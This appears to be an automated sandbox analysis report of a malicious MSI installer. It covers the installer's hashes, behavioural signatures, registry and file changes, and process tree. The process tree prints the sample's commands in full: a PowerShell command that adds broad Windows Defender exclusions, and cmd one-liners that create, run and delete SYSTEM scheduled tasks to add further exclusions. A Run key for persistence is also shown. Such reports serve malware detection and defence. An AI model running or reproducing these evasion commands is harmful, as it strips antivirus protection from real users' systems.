Analysis
- max time kernel
150s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/08/2026, 15:01
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_s0sp005.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_s0sp005.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target install_s0sp005.msi
- Size 9.1MB
- Sample260802-sebb9avhmg
- SHA256 16cd28346d3592ae926d87d2bebb88a39ae31b0872488c4ed533ec26d5545fee
- MD5 6ad75098eb1b029b59d4ff5a3f29aec9
- SHA1 354e74f344fd7dd1a305538447e2fd4d33868898
- SHA512 26750ad57189e5c9c0096e3149533788470a2e93a0da402812090ca6f728d1e5184e6cf78e042c7e74b9ae28b7b9a05bbe456c4ecf2635f7f2b99951bc00e579
- SSDEEP 196608:p1vFonaAghFK10txfW4ZmGkiZph4rmk5hKTbZPId3G:p1vFo7ghcStFW4oGkophgm0KxId3G
- TLSH T1CCA633C1BDCA27B0C193CB709496616D7E243FD6B9779C057EC8BA101DF2B2A957A308
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\J921Vl = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1276 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 1296 Bxv7K6.exe - Loads dropped DLL 2 IoCs
pid Process 6056 MsiExec.exe 1296 Bxv7K6.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\J921Vl\\Bxv7K6.exe\"" Bxv7K6.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 6056 MsiExec.exe 3 6056 MsiExec.exe 4 6056 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1676 cmd.exe 5284 cmd.exe 4968 cmd.exe 5092 cmd.exe 1192 cmd.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b Bxv7K6.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe - Drops file in Program Files directory 9 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\T9gpYo\zXlnMg.exe Bxv7K6.exe File opened for modification C:\Program Files (x86)\T9gpYo\XPSPLOG.dll Bxv7K6.exe File opened for modification C:\Program Files (x86)\T9gpYo\image.png Bxv7K6.exe File opened for modification C:\Program Files (x86)\T9gpYo\thumbs.db Bxv7K6.exe File created C:\Program Files (x86)\T9gpYo\image.png Bxv7K6.exe File opened for modification C:\Program Files (x86)\T9gpYo Bxv7K6.exe File created C:\Program Files (x86)\T9gpYo\zXlnMg.exe Bxv7K6.exe File created C:\Program Files (x86)\T9gpYo\XPSPLOG.dll Bxv7K6.exe File created C:\Program Files (x86)\T9gpYo\thumbs.db Bxv7K6.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\e5929c7.msi msiexec.exe File opened for modification C:\Windows\Installer\e5929c5.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe File opened for modification C:\Windows\Installer\MSI30BB.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF4F382DB88A92A769.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFE05F1B5DB69094E3.TMP msiexec.exe File created C:\Windows\Installer\e5929c5.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFD1F001605C2AC69A.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF9CEF37167AB22EA9.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI3242.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1396 msiexec.exe - Executes a command shell one-liner 1 TTPs 8 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6032 cmd.exe 4668 cmd.exe 5644 cmd.exe 4276 cmd.exe 5660 cmd.exe 2932 cmd.exe 1940 cmd.exe 1788 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0sp005.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "C653C5559331E06438D42E43AE23C4C7" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2092 schtasks.exe 3804 schtasks.exe 2808 schtasks.exe 3452 schtasks.exe 908 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3716 msiexec.exe 3716 msiexec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 6056 MsiExec.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe 1296 Bxv7K6.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1396 msiexec.exe Token: SeIncreaseQuotaPrivilege 1396 msiexec.exe Token: SeSecurityPrivilege 3716 msiexec.exe Token: SeCreateTokenPrivilege 1396 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1396 msiexec.exe Token: SeLockMemoryPrivilege 1396 msiexec.exe Token: SeIncreaseQuotaPrivilege 1396 msiexec.exe Token: SeMachineAccountPrivilege 1396 msiexec.exe Token: SeTcbPrivilege 1396 msiexec.exe Token: SeSecurityPrivilege 1396 msiexec.exe Token: SeTakeOwnershipPrivilege 1396 msiexec.exe Token: SeLoadDriverPrivilege 1396 msiexec.exe Token: SeSystemProfilePrivilege 1396 msiexec.exe Token: SeSystemtimePrivilege 1396 msiexec.exe Token: SeProfSingleProcessPrivilege 1396 msiexec.exe Token: SeIncBasePriorityPrivilege 1396 msiexec.exe Token: SeCreatePagefilePrivilege 1396 msiexec.exe Token: SeCreatePermanentPrivilege 1396 msiexec.exe Token: SeBackupPrivilege 1396 msiexec.exe Token: SeRestorePrivilege 1396 msiexec.exe Token: SeShutdownPrivilege 1396 msiexec.exe Token: SeDebugPrivilege 1396 msiexec.exe Token: SeAuditPrivilege 1396 msiexec.exe Token: SeSystemEnvironmentPrivilege 1396 msiexec.exe Token: SeChangeNotifyPrivilege 1396 msiexec.exe Token: SeRemoteShutdownPrivilege 1396 msiexec.exe Token: SeUndockPrivilege 1396 msiexec.exe Token: SeSyncAgentPrivilege 1396 msiexec.exe Token: SeEnableDelegationPrivilege 1396 msiexec.exe Token: SeManageVolumePrivilege 1396 msiexec.exe Token: SeImpersonatePrivilege 1396 msiexec.exe Token: SeCreateGlobalPrivilege 1396 msiexec.exe Token: SeBackupPrivilege 5064 vssvc.exe Token: SeRestorePrivilege 5064 vssvc.exe Token: SeAuditPrivilege 5064 vssvc.exe Token: SeBackupPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeBackupPrivilege 6124 srtasks.exe Token: SeRestorePrivilege 6124 srtasks.exe Token: SeSecurityPrivilege 6124 srtasks.exe Token: SeTakeOwnershipPrivilege 6124 srtasks.exe Token: SeBackupPrivilege 6124 srtasks.exe Token: SeRestorePrivilege 6124 srtasks.exe Token: SeSecurityPrivilege 6124 srtasks.exe Token: SeTakeOwnershipPrivilege 6124 srtasks.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe Token: SeTakeOwnershipPrivilege 3716 msiexec.exe Token: SeRestorePrivilege 3716 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1396 msiexec.exe 1396 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1396 msiexec.exe 3716 msiexec.exe 6056 MsiExec.exe - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 3716 wrote to memory of 6124 3716 msiexec.exe 94 PID 3716 wrote to memory of 6056 3716 msiexec.exe 96 PID 1296 wrote to memory of 1276 1296 Bxv7K6.exe 100 PID 1296 wrote to memory of 5284 1296 Bxv7K6.exe 102 PID 5284 wrote to memory of 3452 5284 cmd.exe 104 PID 5284 wrote to memory of 5608 5284 cmd.exe 105 PID 1296 wrote to memory of 4968 1296 Bxv7K6.exe 108 PID 5284 wrote to memory of 5904 5284 cmd.exe 110 PID 4968 wrote to memory of 908 4968 cmd.exe 112 PID 4968 wrote to memory of 4696 4968 cmd.exe 113 PID 4968 wrote to memory of 1584 4968 cmd.exe 115 PID 1296 wrote to memory of 5092 1296 Bxv7K6.exe 116 PID 5092 wrote to memory of 2092 5092 cmd.exe 118 PID 5092 wrote to memory of 5868 5092 cmd.exe 120 PID 5092 wrote to memory of 5468 5092 cmd.exe 122 PID 1296 wrote to memory of 1192 1296 Bxv7K6.exe 125 PID 1192 wrote to memory of 3804 1192 cmd.exe 127 PID 1192 wrote to memory of 4304 1192 cmd.exe 128 PID 1192 wrote to memory of 2872 1192 cmd.exe 130 PID 6032 wrote to memory of 4204 6032 cmd.exe 132 PID 4668 wrote to memory of 3792 4668 cmd.exe 133 PID 4276 wrote to memory of 3596 4276 cmd.exe 134 PID 1296 wrote to memory of 1676 1296 Bxv7K6.exe 135 PID 1676 wrote to memory of 2808 1676 cmd.exe 137 PID 1676 wrote to memory of 2932 1676 cmd.exe 138 PID 1676 wrote to memory of 4240 1676 cmd.exe 140 PID 5644 wrote to memory of 4224 5644 cmd.exe 143 PID 5660 wrote to memory of 4664 5660 cmd.exe 144 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0sp005.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1396
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:6124
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 43682512C73130B96390AE1A903E0AFA E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:6056
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5064
-
C:\Users\Public\J921Vl\Bxv7K6.exe"C:\Users\Public\J921Vl\Bxv7K6.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1296 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:1276
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\J921Vl\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5284 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\J921Vl\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3452
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5608
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5904
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:908
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4696
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5092 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2092
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5868
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5468
-
-
-
